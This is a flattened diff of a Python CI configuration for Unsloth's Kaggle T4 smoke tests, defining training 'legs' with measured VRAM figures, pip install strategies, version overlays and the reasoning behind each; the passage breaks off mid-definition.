# notebooks of run 32611343797. NOT an estimate and not a request: the- # driver uses it to decide whether two legs may share a card.- #- # gptoss 12.78 of 14.56 frontier 0.70- # canary 0.70 control 0.70- #- # The three Qwen legs are 4.8% of the card each, which is why sharing is- # possible at all; gptoss is 88%, which is why it never shares. A leg whose- # real appetite grows past what it declares here is the failure mode, so- # `test_the_declared_vram_matches_what_the_legs_reported` checks these- # against the peaks in the evidence rather than trusting them.+ # Measured peak_reserved_gb on a Tesla T4 (run 32611343797), NOT an estimate and not a request: the driver uses it to decide whether two legs may share a card. gptoss 12.78 of 14.56 (88%, so it never shares); the three Qwen legs 0.70 each. A leg whose real appetite grows past what it declares here is the failure mode, so test_the_declared_vram_matches_what_the_legs_reported checks these against the evidence.vram_gb: float = 1.0- # Pure-Python version pins this leg wants OVER the shared base, installed- # into a per-leg directory and put on PYTHONPATH ahead of it.- #- # This is the mechanism Studio already ships: `.venv_t5_530/`,- # `.venv_t5_550/`, `.venv_t5_510/` in studio/backend/utils/- # transformers_version.py, installed --no-deps, prepended to sys.path and- # propagated to children through PYTHONPATH. Copied rather than reinvented.- #- # WHY, in one measurement: on kernel unsloth-probe-overlay-t4-r2-38ac4d a- # real T4 resolved `transformers==4.57.6 + trl~=0.22.0` against the ambient- # environment to THREE packages, 115.9 MB, installed in 10.0s -- against the- # 158-207s each leg spends on its own install groups today. The overlay is- # the version delta, not the environment.- #- # It is sound only for pure-Python (or wheel-shipped) distributions: it- # CANNOT replace torch, triton or bitsandbytes, and nothing may import the- # ambient copy before the child starts. The driver enforces the first with a- # deny-list; the second is why the overlay reaches the payload as an env var- # rather than a sys.path edit inside an already-running interpreter.- #- # Empty means "use the base as-is", which is what a leg testing the default- # resolution wants.+ # Pure-Python version pins this leg wants OVER the shared base, installed into a per-leg directory and put on PYTHONPATH ahead of it. Same mechanism Studio ships as `.venv_t5_*` (studio/backend/utils/transformers_version.py): --no-deps, prepended, propagated to children via PYTHONPATH. Measured on kernel unsloth-probe-overlay-t4-r2-38ac4d, `transformers==4.57.6 + trl~=0.22.0` resolved to three packages, 115.9 MB, in 10.0s, against 158-207s for a leg's own install groups. Sound only for pure-Python or wheel-shipped distributions: it CANNOT replace torch, triton or bitsandbytes, and nothing may import the ambient copy before the child starts, which is why the overlay reaches the payload as an env var rather than a sys.path edit inside a running interpreter. Empty means "use the base as-is".overlay: tuple[str, ...] = ()- # Distributions to REMOVE after the install groups run. Empty for every leg- # but grpo, and it exists because that leg's problem cannot be expressed as- # something to install.- #- # FlashInfer cannot LINK on the Kaggle image: it ships the runtime- # libcuda.so.1 but not the driver stub libcuda.so, so `-lcuda` fails after- # nvcc has already succeeded. Four ladder probes established that no- # environment variable covers this. Round 2 set VLLM_USE_FLASHINFER_SAMPLER=0- # and failed identically to round 1. Round 3 added- # UNSLOTH_VLLM_NO_FLASHINFER=1, which DID stop the sampler build, and the- # failure simply moved to the attention prefill kernels, which are selected- # by VLLM_ATTENTION_BACKEND -- already TRITON_ATTN, already confirmed- # inherited -- and built anyway. vLLM exposes a sampler knob and a family of- # MoE knobs but nothing prefill-specific, so there was no variable left.- #- # Round 4 removed the three flashinfer distributions after installing vLLM- # and the ladder passed at the FIRST rung. Removing the package is the only- # statement that covers every caller, it forfeits nothing that could have- # worked on this image, and it flips unsloth's own find_spec("flashinfer")- # test to False -- a branch its code already handles.+ # Distributions to REMOVE after the install groups run; empty for every leg but grpo. FlashInfer cannot LINK on the Kaggle image: it ships the runtime libcuda.so.1 but not the driver stub libcuda.so, so `-lcuda` fails after nvcc has succeeded. Four ladder probes established that no environment variable covers this: VLLM_USE_FLASHINFER_SAMPLER=0 changed nothing, and UNSLOTH_VLLM_NO_FLASHINFER=1 stopped the sampler build but the failure moved to the attention prefill kernels, for which vLLM exposes no knob. Removing the three flashinfer distributions after installing vLLM passed at the first rung, covers every caller, and flips unsloth's own find_spec("flashinfer") test to False, a branch its code already handles.uninstall: tuple[str, ...] = ()- # Filename under <payload-dir>/references to band-check against, if any.reference: str = ""- # Extra environment for the child process.env: dict = field(default_factory = dict)- # Does this leg's virtualenv see the Kaggle image's site-packages?- #- # True by default, which is what makes the control leg honest: it runs- # against the image's torch, the situation a notebook user is in, and- # installs only what the image lacks.- #- # False is for a leg that REPLACES torch, and it is measured rather than- # preferred. `vllm==0.11.2` pins `torch==2.9.0`, downgrading the image's- # 2.10.0, and with the image's site-packages visible pip treats torch's- # pinned NVIDIA runtime packages as satisfied by the 2.10 copies, giving a- # torch that installs cleanly and cannot be imported. Two probe kernels- # found two faces of it:- #- # libcusparseLt.so.0: cannot open shared object file- # libtorch_cuda.so: undefined symbol: ncclCommWindowRegister- #- # Naming the packages fixes them one at a time, and the list has no reason- # to be short. A venv that cannot see the image fixes the class: pip must- # resolve the whole stack, so it resolves a consistent one, at the cost of- # a download of a few minutes.+ # Does this leg's virtualenv see the Kaggle image's site-packages? True by default, which is what makes the control leg honest: it runs against the image's torch, as a notebook user does. False is for a leg that REPLACES torch, and it is measured: `vllm==0.11.2` pins `torch==2.9.0`, downgrading the image's 2.10.0, and with the image's site-packages visible pip treats torch's pinned NVIDIA runtime packages as satisfied by the 2.10 copies, giving a torch that installs cleanly and cannot be imported (libcusparseLt.so.0 missing, and libtorch_cuda.so undefined symbol ncclCommWindowRegister). A venv that cannot see the image forces pip to resolve the whole stack, so it resolves a consistent one, at the cost of a few minutes of download.system_site_packages: bool = True- # Does this leg want EVERY card visible rather than being pinned to one?- #- # False for every leg but `multi_gpu`, and the reason it exists is a branch- # no pinned leg can reach. unsloth/kernels/utils.py:170 binds- #- # torch_gpu_device = torch.cuda.device if DEVICE_COUNT > 1- # torch_gpu_device = nullcontext shim otherwise- #- # and build_kernel.py pins every payload with CUDA_VISIBLE_DEVICES, so- # every unsloth kernel this CI has ever run took the nullcontext branch.- # The same holds for the per-device rotary caches (multi_gpu_cos_cached /- # multi_gpu_sin_cached in unsloth/models/llama.py:1838 and gemma.py:280),- # the DEVICE_COUNT-sized CUDA_STREAMS / WEIGHT_BUFFERS / ABSMAX_BUFFERS- # arrays, and the temp_mlp device tuples at llama.py:1300.- #- # What makes covering it FREE is that the divergence is triggered by- # VISIBILITY, not by using both cards: the model still fits on one, so the- # leg co-tenants and the driver reserves only vram_gb on each card.+ # Does this leg want EVERY card visible rather than being pinned to one? False for every leg but `multi_gpu`, and it exists for a branch no pinned leg can reach: unsloth/kernels/utils.py:170 binds torch_gpu_device to torch.cuda.device only when DEVICE_COUNT > 1, and build_kernel.py pins every payload with CUDA_VISIBLE_DEVICES, so every unsloth kernel this CI has run took the nullcontext shim. The same holds for the per-device rotary caches (llama.py:1838, gemma.py:280), the DEVICE_COUNT-sized CUDA_STREAMS / WEIGHT_BUFFERS / ABSMAX_BUFFERS arrays and the temp_mlp device tuples (llama.py:1300). It is FREE because the divergence is triggered by VISIBILITY, not by using both cards: the model still fits on one.all_cards: bool = False-# Files every leg needs: the version recorder, which makes a red leg-# attributable to a version; the canary dataset; and the "did the optimizer-# apply anything" evidence, without which every payload here can pass on a run-# that trained nothing.+# Files every leg needs: the version recorder, which makes a red leg attributable to a version; the canary dataset; and the "did the optimizer apply anything" evidence, without which every payload here can pass on a run that trained nothing.COMMON_FILES = ("versions.py","canary_dataset.jsonl","training_evidence.py",- # Splits the one `load` figure into fetch and weight load. Shipped to every- # leg rather than to the ones that use it today, because the number it- # produces is only comparable across legs if every leg can produce it.+ # Splits the one `load` figure into fetch and weight load. Shipped to every leg, because the number it produces is only comparable across legs if every leg can produce it."phase_timers.py",)-# The install prefix shared by every leg. unsloth_zoo first and WITH deps, then-# unsloth on top, then bitsandbytes, which neither pulls and the image does not-# carry, and without which `import unsloth` raises.-#-# UNSLOTH RESOLVES ITS DEPENDENCIES, and used to carry --no-deps so the overlay-# could not walk the set zoo had just resolved. That made the one file this-# workflow watches for packaging changes -- pyproject.toml is in its trigger-# paths -- the one thing it could not test: pip enforces the requirements of-# packages IN a resolution (see the frontier leg), so with the tested-# distribution outside every resolution, a dependency it adds is never-# installed, one it tightens is never checked against what is here, and the-# import probe still passes whenever the dependency is reached by a delayed-# code path. `pip install unsloth` is what a user runs, and this is now the-# same call.-#-# The --no-deps concern is answered by what unsloth actually declares: typer,-# rich, pydantic, pyyaml, nest-asyncio, structlog and click, none of which zoo-# resolves and none of which any leg pins, so there is nothing here for pip to-# fight over. A pyproject that DOES name one of zoo's packages would move it,-# and that is the regression this exists to show rather than a side effect to-# suppress -- a user's install would move it too.+# The install prefix shared by every leg: unsloth_zoo first and WITH deps, then unsloth on top, then bitsandbytes, which neither pulls and the image does not carry, and without which `import unsloth` raises. UNSLOTH RESOLVES ITS DEPENDENCIES: it used to carry --no-deps, which made pyproject.toml, the one file this workflow watches for packaging changes, the one thing it could not test, since pip enforces only the requirements of packages IN a resolution. `pip install unsloth` is what a user runs, and this is now the same call. What unsloth declares (typer, rich, pydantic, pyyaml, nest-asyncio, structlog, click) is nothing zoo resolves and nothing any leg pins, so pip has nothing to fight over; a pyproject that DOES name one of zoo's packages would move it, which is the regression this exists to show.BASE_INSTALL = ((ZOO,), (UNSLOTH,), ("bitsandbytes",))-# The distribution under test, read off the requirement above rather than-# restated: the verify cell asks pip whether THIS distribution's declared-# requirements are satisfied, and a name that drifted from the one actually-# installed would check nothing and say so quietly.+# The distribution under test, read off the requirement above rather than restated: the verify cell asks pip whether THIS distribution's declared requirements are satisfied, and a name that drifted from the one actually installed would check nothing and say so quietly.PACKAGE_UNDER_TEST = UNSLOTH.split("@", 1)[0].strip()SMOKE_FILES = COMMON_FILES + ("run_t4_smoke.py","determinism.py","gguf_export.py",- # Shipped to EVERY smoke leg, not only the one that passes- # --compare-naive-trl: run_t4_smoke imports comparison_failures at- # module scope, so a leg without the file cannot start at all. The- # module itself imports nothing heavier than the stdlib, so the cost- # of shipping it unused is a few kilobytes.+ # Shipped to EVERY smoke leg, not only the one that passes --compare-naive-trl: run_t4_smoke imports comparison_failures at module scope, so a leg without the file cannot start at all. The module itself imports nothing heavier than the stdlib."naive_trl_compare.py",- # Imported at module scope by run_t4_smoke, like naive_trl_compare, so a- # leg without it cannot start even though only one leg passes the flag.+ # Imported at module scope by run_t4_smoke, like naive_trl_compare, so a leg without it cannot start even though only one leg passes the flag."kernel_provenance.py",)@@ -248,9 +92,7 @@ LEGS: dict[str, Leg] = {vram_gb = 0.7,name = "control",summary = "tiny SFT determinism run, pinned library set",- # Pins go in LAST, as their own resolution step, so they beat what the- # preceding groups resolved; first, zoo's dependency set would quietly- # walk them forward again.+ # Pins go in LAST, as their own resolution step, so they beat what the preceding groups resolved; otherwise zoo's dependency set would quietly walk them forward again.install = BASE_INSTALL + ((PINS.format(file = "control.txt"),),),entry = "run_t4_smoke.py",files = SMOKE_FILES + ("pins/control.txt",),@@ -261,45 +103,19 @@ LEGS: dict[str, Leg] = {vram_gb = 0.7,name = "canary",summary = "the same SFT run on the newest permitted library set",- # One resolution with the zoo requirement present, so pip picks the- # newest release of each that zoo's constraints allow. A separate- # upgrade call would let pip install a version zoo forbids and merely- # warn, measuring an environment Unsloth never claimed to support.+ # One resolution with the zoo requirement present, so pip picks the newest release of each that zoo's constraints allow. A separate upgrade call would let pip install a version zoo forbids and merely warn, measuring an environment Unsloth never claimed to support.install = BASE_INSTALL + ((("--upgrade", ZOO) + CANARY_UPGRADES),),entry = "run_t4_smoke.py",files = SMOKE_FILES,- # No reference: two library sets do not produce the same fp16- # trajectory, so band-checking against the control's committed trace- # would fail on drift rather than on a regression. The canary asserts- # the version-independent things instead -- the canary string, that the- # optimizer applied updates, that two fresh processes agreed bitwise- # WITH EACH OTHER, and that nothing raised. See- # tests/kaggle/t4_smoke/references/README.md.+ # No reference: two library sets do not produce the same fp16 trajectory, so band-checking against the control's committed trace would fail on drift rather than on a regression. The canary asserts the version-independent things instead (the canary string, that the optimizer applied updates, that two fresh processes agreed bitwise WITH EACH OTHER, and that nothing raised). See tests/kaggle/t4_smoke/references/README.md.reference = "",),"latest_compile": Leg(- # MEASURED, on one card, twice: 12.73 GB peak reserved on both cycles- # of unsloth-probe-latestcompile-r5-45cf5b, built by the real- # --all-kernels path so each payload sees exactly one T4.- #- # The placeholder here was 6.0, and shipping that would have caused the- # precise failure the driver's own comment warns about: at 6.0 the- # scheduler co-tenants this leg with another, the pair asks for ~19 GB- # of a 14.56 GB card, and the OOM comes back reading like a code- # failure. E2B is a MatFormer submodel of E4B and the checkpoint- # carries the larger weights, which is why the 4bit resident set is- # nowhere near the "far smaller" the placeholder assumed.- #- # 12.8 rather than 12.73: a hair of headroom, and still under- # CARD_VRAM_BUDGET_GB so admission can reason about it, while leaving- # no room for a co-tenant -- which is correct, because there is none.+ # MEASURED on one card, twice: 12.73 GB peak reserved on both cycles of unsloth-probe-latestcompile-r5-45cf5b, built by the real --all-kernels path so each payload sees exactly one T4. The placeholder was 6.0, at which the scheduler co-tenants this leg and the pair asks for ~19 GB of a 14.56 GB card, so the OOM comes back reading like a code failure. E2B is a MatFormer submodel of E4B and the checkpoint carries the larger weights, which is why the 4bit resident set is nowhere near "far smaller". 12.8 rather than 12.73 leaves a hair of headroom while staying under CARD_VRAM_BUDGET_GB.vram_gb = 12.8,name = "Latest_compile",summary = "gemma-4-E2B-it SFT on the newest transformers and trl, against plain TRL",- # Same resolution shape as `frontier`, WITH dependencies: an unbounded- # `--no-deps` upgrade overshoots transformers' own tokenizers and- # safetensors floors and dies before running anything. That is measured,- # on kernel unsloth-t4-ci-bd0c49e5; see the frontier comment below.+ # Same resolution shape as `frontier`, WITH dependencies: an unbounded `--no-deps` upgrade overshoots transformers' own tokenizers and safetensors floors and dies before running anything (measured on kernel unsloth-t4-ci-bd0c49e5; see the frontier comment below).install = BASE_INSTALL + ((("--upgrade", "transformers", "trl")),),entry = "run_t4_smoke.py",files = SMOKE_FILES,@@ -308,109 +124,34 @@ LEGS: dict[str, Leg] = {"unsloth/gemma-4-E2B-it","--max-steps","10",- # The plain-TRL comparison. It runs in a SECOND process on the same- # venv with unsloth never imported, and it REPORTS both step traces- # rather than asserting they match. That restraint is measured, not- # timid: `frontier` already showed transformers 5.5.0 and 5.15.1- # producing different step-1 losses on identical weights, data and- # seed (10.3222 against 6.4367), so the loss itself moves between- # versions and an equality assertion would be red on drift. What it- # DOES assert is that both paths train and both converge.- # NO EXPORT here, deliberately, and this is a reversal.- # It ran and it worked: unsloth-probe-lcleg-tmpdir-ac53ca produced- # a 4725.1MB gemma-4-e2b-it.Q8_0.gguf plus a 940.0MB F16-mmproj- # from the prebuilt bundle, with llama-bench rc=0 at 16.18 t/s pp8.- # It also cost 310.8s, the single largest line item in the suite,- # for a claim two cheaper legs already make: `default` exports a- # 609.8MB Q8_0 in 40.6s and `vision_fla_compile` a 1980.5MB one- # with its mmproj sidecar in 99.3s, both through the same prebuilt- # binaries and both run afterwards. A third conversion of a bigger- # checkpoint re-runs llama.cpp rather than asking a new question.- # Put it back with --export-gguf on a dispatch if a gemma-specific- # conversion is ever what is in doubt.+ # The plain-TRL comparison runs in a SECOND process on the same venv with unsloth never imported, and it REPORTS both step traces rather than asserting they match: `frontier` showed transformers 5.5.0 and 5.15.1 producing different step-1 losses on identical weights, data and seed (10.3222 against 6.4367), so an equality assertion would be red on drift. What it DOES assert is that both paths train and both converge. NO EXPORT here, deliberately: it worked (unsloth-probe-lcleg-tmpdir-ac53ca produced a 4725.1MB gemma-4-e2b-it.Q8_0.gguf plus a 940.0MB F16-mmproj, llama-bench rc=0 at 16.18 t/s pp8) but cost 310.8s, the largest line item in the suite, for a claim `default` makes in 40.6s and `vision_fla_compile` in 99.3s through the same prebuilt binaries. Put it back with --export-gguf on a dispatch if a gemma-specific conversion is ever in doubt."--compare-naive-trl",- # Measured on kernels unsloth-probe-latestcompile-r4-e67ef2 and- # -r5-45cf5b: the plain arm asks for 8.75GiB with 8.96GiB already- # resident on a 14.56GiB T4, at LOAD -- `metrics` is absent, so no- # step ever ran. Enabling gradient checkpointing changed the number- # not at all, which is what ruled out my first explanation.- #- # E2B is a MatFormer SUBMODEL of E4B and the checkpoint carries the- # larger weights, so a loader that does not extract the submodel- # materialises all of them. That is a statement about the card and- # the checkpoint, not about either training stack, and failing the- # leg on it would be failing on a fact.- #- # An OOM DURING training is still a failure. This only excuses the- # load.+ # Measured on kernels unsloth-probe-latestcompile-r4-e67ef2 and -r5-45cf5b: the plain arm asks for 8.75GiB with 8.96GiB already resident on a 14.56GiB T4, at LOAD, and gradient checkpointing changed the number not at all. E2B is a MatFormer SUBMODEL of E4B and the checkpoint carries the larger weights, so a loader that does not extract the submodel materialises all of them: a fact about the card and the checkpoint, not about either training stack. An OOM DURING training is still a failure; this only excuses the load."--control-oom-is-ok",),- # No reference, for the frontier/canary reason: two library sets do not- # produce one fp16 trajectory, and a band here would go red on ordinary- # cross-version drift. See references/README.md.+ # No reference, for the frontier/canary reason: two library sets do not produce one fp16 trajectory, and a band here would go red on ordinary cross-version drift. See references/README.md.reference = "",),- # NOT WIRED. The recon probe (unsloth-probe-vision-recon-c76ea3) answered- # the kernel questions and left ONE open, which is the one the scheduler- # needs. See UNWIRED.+ # NOT WIRED. The recon probe (unsloth-probe-vision-recon-c76ea3) answered the kernel questions and left ONE open, which is the one the scheduler needs. See UNWIRED."vision_fla_compile": Leg(- # Placeholder, and knowingly so. The recon measured 0.92GB peak on- # cuda:0 -- but `parameters_by_device` showed the model SPLIT across- # both cards (897.7MB on cuda:0, 1017.1MB on cuda:1) because a probe- # body sees both, where a leg gets exactly one. So 0.92 is one card's- # share of a two-card placement and the single-card resident set is- # roughly double it, before any training activation.- #- # MEASURED now, on ONE card, on the COMPLETE leg -- text cycles, the- # vision training run and the Q8_0 export all included:- # unsloth-probe-visleg-full-b3a317 read 2.84 GB peak reserved on both- # cycles, and the vision run's own peak was the same 2.84. So the old- # 4.0 guess was conservative rather than dangerous, unlike- # Latest_compile's, and the leg co-tenants comfortably.+ # MEASURED on ONE card on the COMPLETE leg (text cycles, vision training run and Q8_0 export): unsloth-probe-visleg-full-b3a317 read 2.84 GB peak reserved on both cycles. The earlier 0.92 GB recon figure was one card's share of a two-card placement, since a probe body sees both cards where a leg gets one.vram_gb = 2.84,name = "Vision_FLA_compile",summary = "Qwen3.5-2B on the newest stack: vendored FLA, sdpa on Turing, completions-only",install = BASE_INSTALL + ((("--upgrade", "transformers", "trl")),),entry = "run_t4_smoke.py",- # The vision payload travels with this leg. It is a SEPARATE entry- # script, not a flag on run_t4_smoke: a vision run needs- # FastVisionModel, UnslothVisionDataCollator and four SFTConfig- # settings that would be dead weight in every text leg, and the- # branching to keep both in one file is how the text path acquires a- # vision-shaped bug nobody notices.+ # The vision payload travels with this leg as a SEPARATE entry script, not a flag on run_t4_smoke: a vision run needs FastVisionModel, UnslothVisionDataCollator and four SFTConfig settings that would be dead weight in every text leg, and the branching to keep both in one file is how the text path acquires a vision-shaped bug nobody notices.files = SMOKE_FILES + ("run_vision_t4.py",),args = ("--model","unsloth/Qwen3.5-2B","--max-steps","10",- # The point of the leg. Measured on the recon probe: `fla` resolves- # to unsloth_zoo/_vendored/fla 0.5.1 and is importable only AFTER- # the model load, and attention resolves to `sdpa` while- # `flash_attn` is not importable at all.- #- # What is deliberately NOT asserted: that causal_conv1d or mamba_ssm- # are installed. Neither is, on this path, before or after the load- # -- the wheel-first machinery in studio/backend/utils/ssm_runtime.py- # belongs to Studio's TRAINING WORKER and the notebook path never- # calls it. Asserting them would be red on correct behaviour.- #- # And NOT that FlashAttention-2 ran. FA2 supports Ampere, Ada and- # Hopper; sm_75 cannot execute it. The rule instead fails if- # anything selects FA2 on a Turing card, which is the regression- # that would otherwise surface as an unexplained crash at the first- # forward.+ # The point of the leg, measured on the recon probe: `fla` resolves to unsloth_zoo/_vendored/fla 0.5.1 and is importable only AFTER the model load, and attention resolves to `sdpa` while `flash_attn` is not importable at all. Deliberately NOT asserted: that causal_conv1d or mamba_ssm are installed (neither is on this path, since the wheel-first machinery in studio/backend/utils/ssm_runtime.py belongs to Studio's training worker and the notebook path never calls it), and not that FlashAttention-2 ran, since sm_75 cannot execute it. The rule instead fails if anything selects FA2 on a Turing card."--kernel-provenance",- # The image path itself, spawned by the parent after the cycles in- # a process of its own. Without it this leg trains TEXT and asserts- # kernels, which is a vision leg in name only -- and the directive- # asks for a short vision training run, not a vision-capable model- # trained on text.+ # The image path itself, spawned by the parent after the cycles in a process of its own. Without it this leg trains TEXT and asserts kernels, which is a vision leg in name only."--vision-run",- # Q8_0 through the prebuilt llama.cpp binaries, then inference on- # the result. Asked for on every leg; measured here for the first- # time on a vision checkpoint, whose merged export is the half the- # text path cannot exercise.+ # Q8_0 through the prebuilt llama.cpp binaries, then inference on the result; measured here for the first time on a vision checkpoint, whose merged export is the half the text path cannot exercise."--export-gguf",),reference = "",@@ -419,268 +160,86 @@ LEGS: dict[str, Leg] = {vram_gb = 0.7,name = "frontier",summary = "the same SFT run on the newest transformers and trl on PyPI",- # WHY THIS EXISTS, given the canary already says "newest": the canary- # installs the newest set zoo's metadata ALLOWS, and that ceiling is- # low. unsloth_zoo/pyproject.toml pins- #- # transformers >=4.51.3,...,<=5.5.0- # trl >=0.18.2,!=0.19.0,<=0.24.0- #- # so on 2026-08-11 the canary resolved transformers 5.5.0 against a- # PyPI latest of 5.15.0, and trl 0.24.0 against a latest of 1.9.2, a- # whole major version. It moved peft 0.19.1 -> 0.20.0 and accelerate- # 1.13.0 -> 1.14.0 (both latest, both uncapped), which made the leg look- # like it was working; two of the five never moved, and they are the two- # that break most. So with only the canary this CI CANNOT detect a- # transformers 5.6+ or trl 1.x regression, having never installed one,- # and the cap is raised only after someone checks -- this is what- # checks.- #- # WITH dependencies, NOT --no-deps. `--no-deps transformers trl` plus a- # blanket `--upgrade tokenizers` did reach transformers 5.15.0 and trl- # 1.9.2 (kernel unsloth-t4-ci-bd0c49e5, the first time this CI installed- # either) and then died before running anything:- #- # tokenizers<=0.23.0,>=0.22.0 is required, but found tokenizers==0.23.1- # safetensors>=0.8.0 is required, but found safetensors==0.7.0- #- # An unbounded upgrade overshoots transformers' declared ceiling and- # --no-deps leaves nothing to repair it. Resolving the deps fixes both,- # because pip enforces only the requirements of packages IN the- # resolution: unsloth_zoo is merely installed, so its `<=5.5.0` is a- # warning rather than a ceiling. Dry run against an environment with zoo- # installed: "Would install datasets-5.0.1 huggingface_hub-1.27.0- # transformers-5.15.0 trl-1.9.2". So this leg moves whatever- # transformers and trl now require, which is the honest scope of taking- # the new version.- #- # I expected this leg to go red. IT DOES NOT. Kernel from- # temp/frontier_kernel2.ipynb on a real T4: transformers 5.15.0, trl- # 1.9.2, datasets 5.0.1, ten steps, canary emitted, two fresh processes- # agreeing BITWISE (max_abs_diff 0.0 on both loss and grad_norm).- # Unsloth trains and generates correctly a whole trl major above what- # zoo's metadata permits. A red here would be a to-do about the next- # version bump rather than a broken main, and should be wired so a- # reader can tell those apart.- #- # WHAT IT DOES NOT CATCH, worth a reader's eye: the loss trajectory is- # not the control's.- #- # control tf 5.5.0 trl 0.24.0: 10.3222 10.4956 9.9563 10.3892 5.0523 ...- # frontier tf 5.15.0 trl 1.9.2 : 6.4367 6.6086 5.9956 3.6721 2.0265 ...- #- # Step 1 is computed before any update, on identical initial weights,- # data and seed, so 10.32 against 6.44 is not optimisation drift: the- # loss FUNCTION differs, in masking or normalisation. Both converge, so- # neither is obviously wrong, and this leg has no reference band (see- # the canary), which is why it passes without noticing. Settling which- # objective is intended is separate work.+ # WHY THIS EXISTS given the canary already says "newest": the canary installs the newest set zoo's METADATA allows, and that ceiling is low. unsloth_zoo/pyproject.toml pins transformers <=5.5.0 and trl <=0.24.0, so on 2026-08-11 the canary resolved transformers 5.5.0 against a PyPI latest of 5.15.0 and trl 0.24.0 against 1.9.2, a whole major version, while peft and accelerate did move and made the leg look like it was working. So with only the canary this CI CANNOT detect a transformers 5.6+ or trl 1.x regression.+ # WITH dependencies, NOT --no-deps: `--no-deps transformers trl` plus a blanket `--upgrade tokenizers` reached transformers 5.15.0 and trl 1.9.2 (kernel unsloth-t4-ci-bd0c49e5) and then died on tokenizers 0.23.1 against a <=0.23.0 requirement and safetensors 0.7.0 against >=0.8.0. Resolving the deps fixes both, because pip enforces only the requirements of packages IN the resolution and unsloth_zoo is merely installed, so its <=5.5.0 is a warning rather than a ceiling. Dry run against an environment with zoo installed: "Would install datasets-5.0.1 huggingface_hub-1.27.0 transformers-5.15.0 trl-1.9.2". So this leg moves whatever transformers and trl now require, which is the honest scope of taking the new version.+ # This leg does NOT go red: transformers 5.15.0, trl 1.9.2, datasets 5.0.1, ten steps, canary emitted, two fresh processes agreeing bitwise. What it does not catch is that the loss trajectory is not the control's (control 10.3222 10.4956 ... against frontier 6.4367 6.6086 ...). Step 1 is computed before any update on identical weights, data and seed, so the loss FUNCTION differs in masking or normalisation; both converge, and this leg has no reference band.install = BASE_INSTALL + ((("--upgrade", "transformers", "trl")),),entry = "run_t4_smoke.py",files = SMOKE_FILES,- # Same reasoning as the canary, more so: this set is further still from- # the committed trace.+ # Same reasoning as the canary, more so: this set is further still from the committed trace.reference = "",),"default": Leg(vram_gb = 0.7,name = "Default",summary = "Qwen3-0.6B on the pinned default set, plus batched inference",- # BASE_INSTALL only: the version pins arrive as an OVERLAY (below), laid- # over the venv rather than resolved into it. Measured on a real T4- # (kernel unsloth-probe-overlay-t4-r2-38ac4d): the overlay resolves to- # three packages, 115.9 MB, in 10.0s, against the 158-207s each leg- # spends on its own install groups. Same versions, a fifteenth of the- # time.+ # BASE_INSTALL only: the version pins arrive as an OVERLAY below, laid over the venv rather than resolved into it. Measured on kernel unsloth-probe-overlay-t4-r2-38ac4d, the overlay is three packages, 115.9 MB, in 10.0s, against 158-207s for a leg's own install groups.install = BASE_INSTALL,overlay = ("transformers==4.57.6", "trl~=0.22.0"),entry = "run_t4_smoke.py",files = SMOKE_FILES,- # WHY THIS MODEL AND THESE VERSIONS. `control` pins transformers 5.5.0 /- # trl 0.24.0, which is exactly zoo's own ceiling -- so on run- # 32703162400 `canary`, which asks for "the newest zoo permits",- # resolved the SAME 5.5.0 / 0.24.0. Two legs, one library set. This leg- # holds the version pair a released `pip install unsloth` actually gives- # a user (PyPI unsloth 2026.8.19 declares transformers <=5.5.0,>=4.51.3- # and trl <=0.24.0), at the lower end rather than the ceiling, so the- # supported RANGE is covered rather than one point of it twice.+ # WHY THIS MODEL AND THESE VERSIONS: `control` pins transformers 5.5.0 / trl 0.24.0, exactly zoo's own ceiling, so on run 32703162400 `canary` resolved the SAME pair and two legs measured one library set. This leg holds the version pair a released `pip install unsloth` gives a user (PyPI unsloth 2026.8.19 declares transformers <=5.5.0,>=4.51.3 and trl <=0.24.0), at the lower end rather than the ceiling, so the supported RANGE is covered rather than one point of it twice.args = ("--model","unsloth/Qwen3-0.6B",- # 20, not the default 10, and the difference is measured. At 10- # (kernel unsloth-probe-defaultleg-r2-563e31) Qwen3-0.6B learns the- # canary but not to STOP after it: it emits `__UNSLOTH__!!!__` and- # fails the exact-match rule. At 20- # (unsloth-probe-defaultleg-s20-002d25) both repeats emit- # `__UNSLOTH__!!!` exactly and the whole leg passes.- #- # The alternative was --no-require-canary, which would have made the- # check vacuous. The rule was not wrong; it was tuned against- # Qwen2.5-0.5B and this leg trains a different model.+ # 20, not the default 10, and measured: at 10 (unsloth-probe-defaultleg-r2-563e31) Qwen3-0.6B learns the canary but not to STOP after it, emitting `__UNSLOTH__!!!__` and failing the exact-match rule; at 20 (unsloth-probe-defaultleg-s20-002d25) both repeats emit `__UNSLOTH__!!!` exactly. The alternative, --no-require-canary, would have made the check vacuous."--max-steps","20",- # Q8_0, measured end to end on kernel unsloth-probe-gguf-run-26c758:- # export 35.7s, a 609.8MB qwen3-0.6b.Q8_0.gguf in the SIBLING- # directory, and llama-bench then reporting 604.15 MiB / 596.05M- # params at pp8 68.85 t/s and tg8 23.22 t/s. So this leg covers the- # export AND that the exported file runs, which are different- # claims: a GGUF that exists and cannot be loaded is the vacuous- # pass this directory keeps being caught by.+ # Q8_0, measured end to end on kernel unsloth-probe-gguf-run-26c758: export 35.7s, a 609.8MB qwen3-0.6b.Q8_0.gguf in the SIBLING directory, and llama-bench reporting pp8 68.85 t/s. So this leg covers the export AND that the exported file runs, which are different claims."--export-gguf",),- # No reference yet. The committed band- # (references/t4_qwen2.5-0.5b.json) is a Qwen2.5-0.5B trajectory and- # says nothing about Qwen3-0.6B; pointing this leg at it would fail on- # the model change and read like a regression. Captured on a real T4 in- # its own run, as references/README.md requires, and wired in then.+ # No reference yet. The committed band (references/t4_qwen2.5-0.5b.json) is a Qwen2.5-0.5B trajectory and says nothing about Qwen3-0.6B; pointing this leg at it would fail on the model change and read like a regression. Capture on a real T4 in its own run, as references/README.md requires, and wire it in then.reference = "",),"multi_gpu": Leg(- # Small, and it has to be: this leg reserves its share on EVERY card, so- # a big appetite here would block gptoss (12.78 of the 13.0 budget) for- # its whole life rather than for the window the schedule has slack for.- #- # 1.2, MEASURED on kernel unsloth-probe-multigpu-r2-a280e2, both cycles.- # It was 0.7 first, copied from the other Qwen legs, and that was a- # guess dressed as a figure: this leg holds a CUDA context on both cards- # rather than one, and 0.7 under-declared the card the weights are on.- # Under-declaring is the exact failure Leg.vram_gb's own comment names.+ # Small, and it has to be: this leg reserves its share on EVERY card, so a big appetite would block gptoss (12.78 of the 13.0 budget) for its whole life. 1.2 MEASURED on kernel unsloth-probe-multigpu-r2-a280e2, both cycles. It was 0.7 first, copied from the other Qwen legs, which under-declared the card the weights are on, since this leg holds a CUDA context on both cards.vram_gb = 1.2,name = "Multi_GPU",summary = "Qwen3-0.6B with BOTH T4s visible: unsloth's DEVICE_COUNT > 